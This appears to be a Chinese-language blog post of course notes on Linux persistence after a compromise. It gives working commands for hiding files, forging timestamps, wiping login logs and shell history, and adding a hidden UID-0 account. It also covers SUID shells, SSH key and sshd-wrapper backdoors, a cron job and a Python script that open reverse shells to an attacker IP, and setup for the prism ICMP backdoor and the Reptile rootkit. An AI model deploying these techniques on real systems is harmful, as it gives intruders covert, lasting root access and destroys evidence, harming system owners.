Linux权限维持

2023-09-13 16:38:07 浏览数 (1)

1.隐藏踪迹

创建隐藏文件(ls不可见,ls -la可见):

代码语言:javascript复制
vim .shell.php

修改时间戳(文件时间):

代码语言:javascript复制
touch -r 老文件 shell.elf

文件锁定(赋予特殊权限,不允许更改):

代码语言:javascript复制
chattr  i shell.elf

无w、who、last等记录ssh:

代码语言:javascript复制
ssh -T root@IP

清除last记录(登录信息):

代码语言:javascript复制
echo '' > /var/log/wtmp

端口复用:

将来自IP访问80端口的流量转发到22端口

代码语言:javascript复制
iptables -t nat -A PREROUTING -p tcp -s IP --dport 80 -j REDIRECT --to-port 22

ssh连接80端口

代码语言:javascript复制
ssh -p 80 root@IP

历史命令记录隐藏:

set o history,停止记录

history,查看记录

history -d 序号,删除记录

2.添加root权限用户

直接添加

代码语言:javascript复制
useradd -p `openssl passwd -1 -salt 'salt' 123456` hacker -o -u 0 -g root -G root -s /bin/bash -d /home/hacker

修改/etc/passwd

生成密码->放入passwd最后一行

代码语言:javascript复制
[root@localhost ~]# perl -le 'print crypt('123456',"addedsalt")'
adrla7IBSfTZQ
[root@localhost ~]# echo "hacker:adrla7IBSfTZQ:0:0:root:/root:/bin/bash" >> /etc/passwd

3.suid shell

让普通用户能用root

代码语言:javascript复制
cp /bin/bash /tmp/shell
chmod u s /tmp/shell

此时普通用户可以用root

代码语言:javascript复制
[ly@localhost root]$ /tmp/shell -p
shell-4.2# whoami
root

4.ssh公私钥

生成公私钥,回车就行(id_rsa是私钥、id_rsa.pub是公钥)

代码语言:javascript复制
ssh-keygen -t rsa

查看公钥

代码语言:javascript复制
cat /root/.ssh/id_rsa.pub

在对方电脑创建目录并放入公钥(注意粘贴开头可能少个s),重启服务

代码语言:javascript复制
mkdir /root/.ssh
vim /root/.ssh/authorized_keys
systemctl restart sshd.service

无需密码连接

代码语言:javascript复制
ssh root@IP

5.ssh软连接

需要PAM认证,下面UsePAM为yes

代码语言:javascript复制
vim /etc/ssh/sshd_config

防火墙开放端口->重启->查看是否开放

代码语言:javascript复制
firewall-cmd --add-port=7777/tcp --permanent
firewall-cmd --reload
firewall-cmd --query-port=7777/tcp

建立软连接

代码语言:javascript复制
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=7777

免密登录

代码语言:javascript复制
ssh root@IP -p 7777

6.ssh wrapper

先开启ssh,将原本的sshd移位

代码语言:javascript复制
systemctl start sshd.service
cd /usr/sbin/
mv sshd /

重写一个sshd,赋予权限

代码语言:javascript复制
echo '#!/usr/bin/perl' >sshd
echo 'exec "/bin/sh" if(getpeername(STDIN) =~ /^..4A/);' >>sshd
echo 'exec{"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u x sshd

免密登录

代码语言:javascript复制
socat STDIO TCP4:IP:22,sourceport=13377

7.计划任务

写一个反弹shell脚本并赋权

代码语言:javascript复制
echo '#!/bin/bash' > /shell.sh
echo 'bash -i >& /dev/tcp/IP/6666 0>&1' >> /shell.sh
chmod  sx /etc/shell.sh

添加一分钟一次的root权限计划任务

代码语言:javascript复制
echo '*/1 * * * * root /shell.sh' >> /etc/crontab
systemctl restart crond.service

8.启动项

添加后门路径并赋权

代码语言:javascript复制
echo '/shell.elf' >> /etc/rc.d/rc.local
chmod  x /etc/rc.d/rc.local

9.vim python后门

vim --version,看支不支持python3

反弹shell脚本,一个socket服务端,vim shell.py写入

代码语言:javascript复制
import socket, subprocess, os;
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM);
s.connect(("IP", 6666));
os.dup2(s.fileno(), 0);
os.dup2(s.fileno(), 1);
os.dup2(s.fileno(), 2);
p = subprocess.call(["/bin/sh", "-i"]);

NC监听并在对方电脑执行(可能需要等一下)

代码语言:javascript复制
vim -E -c "py3file shell.py"

10.icmp后门工具

https://github.com/andreafabrizi/prism

代码语言:javascript复制
vim prism.c

填反弹IP、端口、时间、密码、进程名

代码语言:javascript复制
# define REVERSE_HOST     "192.168.1.225"
# define REVERSE_PORT     19832
# define RESPAWN_DELAY    10
# define ICMP_KEY         "123456"
# define PROCESS_NAME     "mysql"

后台编译生成prism在对方电脑并运行

代码语言:javascript复制
gcc -DDETACH -DNORENAME -Wall -s -o prism prism.c
./prism

NC监听并在自己电脑执行

代码语言:javascript复制
python2 ./sendPacket.py 对方IP 密码 自己IP 端口

11.Reptile工具

https://github.com/f0rb1dd3n/Reptile

本文为免杀三期学员笔记:https://www.cnblogs.com/Night-Tac/articles/16941099.html

0 人点赞